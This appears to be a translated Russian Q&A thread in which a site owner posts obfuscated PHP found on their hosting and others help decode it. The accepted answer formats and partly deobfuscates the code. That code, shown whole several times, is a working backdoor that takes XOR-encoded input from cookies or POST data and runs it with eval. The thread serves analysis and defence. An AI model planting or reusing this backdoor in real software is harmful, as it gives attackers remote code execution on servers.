Для чего этот вредоносный код?

Я нашел этот код на хостинге, похоже, что он написан хакером, для чего этот код?

<?php $zbsdho = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';$ivlmhe = Array();$ivlmhe[] = $zbsdho[34].$zbsdho[32];$ivlmhe[] = $zbsdho[1].$zbsdho[24].$zbsdho[21].$zbsdho[17].$zbsdho[20].$zbsdho[13].$zbsdho[4].$zbsdho[0].$zbsdho[26].$zbsdho[3].$zbsdho[20].$zbsdho[17].$zbsdho[31].$zbsdho[26].$zbsdho[0].$zbsdho[0].$zbsdho[20].$zbsdho[20].$zbsdho[26].$zbsdho[7].$zbsdho[7].$zbsdho[27].$zbsdho[3].$zbsdho[26].$zbsdho[27].$zbsdho[3].$zbsdho[24].$zbsdho[17].$zbsdho[14].$zbsdho[14].$zbsdho[6].$zbsdho[3].$zbsdho[14].$zbsdho[20].$zbsdho[4].$zbsdho[14];$ivlmhe[] = $zbsdho[15];$ivlmhe[] = $zbsdho[14].$zbsdho[18].$zbsdho[16].$zbsdho[22].$zbsdho[9];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[28].$zbsdho[12].$zbsdho[17].$zbsdho[23].$zbsdho[17].$zbsdho[21].$zbsdho[9];$ivlmhe[] = $zbsdho[17].$zbsdho[33].$zbsdho[23].$zbsdho[29].$zbsdho[18].$zbsdho[24].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[16].$zbsdho[7].$zbsdho[30].$zbsdho[9].$zbsdho[12];$ivlmhe[] = $zbsdho[21].$zbsdho[12].$zbsdho[12].$zbsdho[21].$zbsdho[2].$zbsdho[28].$zbsdho[11].$zbsdho[17].$zbsdho[12].$zbsdho[10].$zbsdho[17];$ivlmhe[] = $zbsdho[30].$zbsdho[9].$zbsdho[12].$zbsdho[29].$zbsdho[17].$zbsdho[22];$ivlmhe[] = $zbsdho[23].$zbsdho[21].$zbsdho[14].$zbsdho[8];foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf){function ogehexx($ivlmhe, $owoafjz, $oibsdj){return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);}function lxasj($ivlmhe, $arihtmu){return @$ivlmhe[9]($ivlmhe[0], $arihtmu);}function jxlby($ivlmhe, $arihtmu){$flgqwzt = $ivlmhe[3]($arihtmu) % 3;if (!$flgqwzt) {eval($arihtmu[1]($arihtmu[2]));exit();}}$nunarwf = lxasj($ivlmhe, $nunarwf);jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));}

Спросите хакера. Совершенно очевидно, что тот, кто его написал, не хочет, чтобы вы узнали, прочитав его, поэтому, как я вижу, единственный способ - спросить.

Andreas 11.06.2018 13:15

Я голосую за то, чтобы закрыть этот вопрос как не по теме, потому что на него невозможно ответить, а вопрос и ответы мало пригодны для будущего.

Andreas 11.06.2018 13:18

Вы можете начать с правильного отступа и посмотреть на выполнение. Происходит много обфускации, затрудняющей расшифровку, но если вы не торопитесь и измените ее, чтобы она была более читаемой, разобраться в ней может стать тривиальным.

Chuk Ultima 11.06.2018 13:18

Я сомневаюсь, что это написано кем-то - "трудночитаемая" структура кода подразумевает, что код, вероятно, был автоматически сгенерирован каким-то инструментом (обфускатором или чем-то еще), который может быть закодирован хакером или уже интегрирован в какой-то продукт

Agnius Vasiliauskas 11.06.2018 13:20

хм ... согласно ответу @Liam G, кажется, что эта сумасшедшая группа конструкций массивов требуется для динамического создания имен функций, которые будут вызываться позже в коде. И этот 9dae5f74-85e2-4455-bb08-08decc38c57c пахнет контрольной суммой кода или номером GUID версии кода. Эти вещи косвенно подтверждают, что этот код был автоматически сгенерирован каким-то инструментом.

Agnius Vasiliauskas 11.06.2018 13:35
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Symfony Station Communiqué - 7 июля 2023 г
Symfony Station Communiqué - 7 июля 2023 г
Это коммюнике первоначально появилось на Symfony Station .
Оживление вашего приложения Laravel: Понимание режима обслуживания
Оживление вашего приложения Laravel: Понимание режима обслуживания
Здравствуйте, разработчики! В сегодняшней статье мы рассмотрим важный аспект управления приложениями, который часто упускается из виду в суете...
Установка и настройка Nginx и PHP на Ubuntu-сервере
Установка и настройка Nginx и PHP на Ubuntu-сервере
В этот раз я сделаю руководство по установке и настройке nginx и php на Ubuntu OS.
Коллекции в Laravel более простым способом
Коллекции в Laravel более простым способом
Привет, читатели, сегодня мы узнаем о коллекциях. В Laravel коллекции - это способ манипулировать массивами и играть с массивами данных. Благодаря...
Как установить PHP на Mac
Как установить PHP на Mac
PHP - это популярный язык программирования, который используется для разработки веб-приложений. Если вы используете Mac и хотите разрабатывать...
1
5
176
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

Сначала начните с украшения кода:

<?php
$zbsdho   = '49y87v3bktgmrfc#ueo\'5anpdi-0_ls2*xH';
$ivlmhe   = Array();
$ivlmhe[] = $zbsdho[34] . $zbsdho[32];
$ivlmhe[] = $zbsdho[1] . $zbsdho[24] . $zbsdho[21] . $zbsdho[17] . $zbsdho[20] . $zbsdho[13] . $zbsdho[4] . $zbsdho[0] . $zbsdho[26] . $zbsdho[3] . $zbsdho[20] . $zbsdho[17] . $zbsdho[31] . $zbsdho[26] . $zbsdho[0] . $zbsdho[0] . $zbsdho[20] . $zbsdho[20] . $zbsdho[26] . $zbsdho[7] . $zbsdho[7] . $zbsdho[27] . $zbsdho[3] . $zbsdho[26] . $zbsdho[27] . $zbsdho[3] . $zbsdho[24] . $zbsdho[17] . $zbsdho[14] . $zbsdho[14] . $zbsdho[6] . $zbsdho[3] . $zbsdho[14] . $zbsdho[20] . $zbsdho[4] . $zbsdho[14];
$ivlmhe[] = $zbsdho[15];
$ivlmhe[] = $zbsdho[14] . $zbsdho[18] . $zbsdho[16] . $zbsdho[22] . $zbsdho[9];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[28] . $zbsdho[12] . $zbsdho[17] . $zbsdho[23] . $zbsdho[17] . $zbsdho[21] . $zbsdho[9];
$ivlmhe[] = $zbsdho[17] . $zbsdho[33] . $zbsdho[23] . $zbsdho[29] . $zbsdho[18] . $zbsdho[24] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[16] . $zbsdho[7] . $zbsdho[30] . $zbsdho[9] . $zbsdho[12];
$ivlmhe[] = $zbsdho[21] . $zbsdho[12] . $zbsdho[12] . $zbsdho[21] . $zbsdho[2] . $zbsdho[28] . $zbsdho[11] . $zbsdho[17] . $zbsdho[12] . $zbsdho[10] . $zbsdho[17];
$ivlmhe[] = $zbsdho[30] . $zbsdho[9] . $zbsdho[12] . $zbsdho[29] . $zbsdho[17] . $zbsdho[22];
$ivlmhe[] = $zbsdho[23] . $zbsdho[21] . $zbsdho[14] . $zbsdho[8];
foreach ($ivlmhe[7]($_COOKIE, $_POST) as $owoafjz => $nunarwf) {
    function ogehexx($ivlmhe, $owoafjz, $oibsdj)
    {
        return $ivlmhe[6]($ivlmhe[4]($owoafjz . $ivlmhe[1], ($oibsdj / $ivlmhe[8]($owoafjz)) + 1), 0, $oibsdj);
    }
    function lxasj($ivlmhe, $arihtmu)
    {
        return @$ivlmhe[9]($ivlmhe[0], $arihtmu);
    }
    function jxlby($ivlmhe, $arihtmu)
    {
        $flgqwzt = $ivlmhe[3]($arihtmu) % 3;
        if (!$flgqwzt) {
            eval($arihtmu[1]($arihtmu[2]));
            exit();
        }
    }
    $nunarwf = lxasj($ivlmhe, $nunarwf);
    jxlby($ivlmhe, $ivlmhe[5]($ivlmhe[2], $nunarwf ^ ogehexx($ivlmhe, $owoafjz, $ivlmhe[8]($nunarwf))));
}

Затем находим значения, расположенные в $ivlmhe:

array(10) { 
[0]=> string(2) "H*" 
[1]=> string(36) "9dae5f74-85e2-4455-bb08-08decc38c57c" 
[2]=> string(1) "#" 
[3]=> string(5) "count" 
[4]=> string(10) "str_repeat" 
[5]=> string(7) "explode" 
[6]=> string(6) "substr" 
[7]=> string(11) "array_merge" 
[8]=> string(6) "strlen" 
[9]=> string(4) "pack" 
}

Потом:

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function ogehexx($ivlmhe, $key, $oibsdj)
    {
        return substr(str_repeat($key . "9dae5f74-85e2-4455-bb08-08decc38c57c", ($oibsdj / strlen($key)) + 1), 0, $oibsdj);
    }
    function lxasj($ivlmhe, $arihtmu)
    {
        return @pack("H*", $arihtmu);
    }
    function jxlby($ivlmhe, $arihtmu)
    {
        $flgqwzt = count($arihtmu) % 3;
        if (!$flgqwzt) {
            eval($arihtmu[1]($arihtmu[2]));
            exit();
        }
    }
    $value = lxasj($ivlmhe, $value);
    jxlby($ivlmhe, explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value))));
}

Это все, что мне удалось декодировать до сих пор, они интересуются переменными $_COOKIE и $_POST и выполняют с ними различные функции.

Первоначально я сделал ошибку в функции jxlby, я изменил ее на то, что должно быть ... eval() в этой функции будет неприятной частью, но мне очень трудно понять, что именно оценивается как ввод для этой функции $arihtmu поступает из этой строки, в которой есть побитовый оператор Xor explode("#", $value ^ ogehexx($ivlmhe, $key, strlen($value)))

Другие вопросы по теме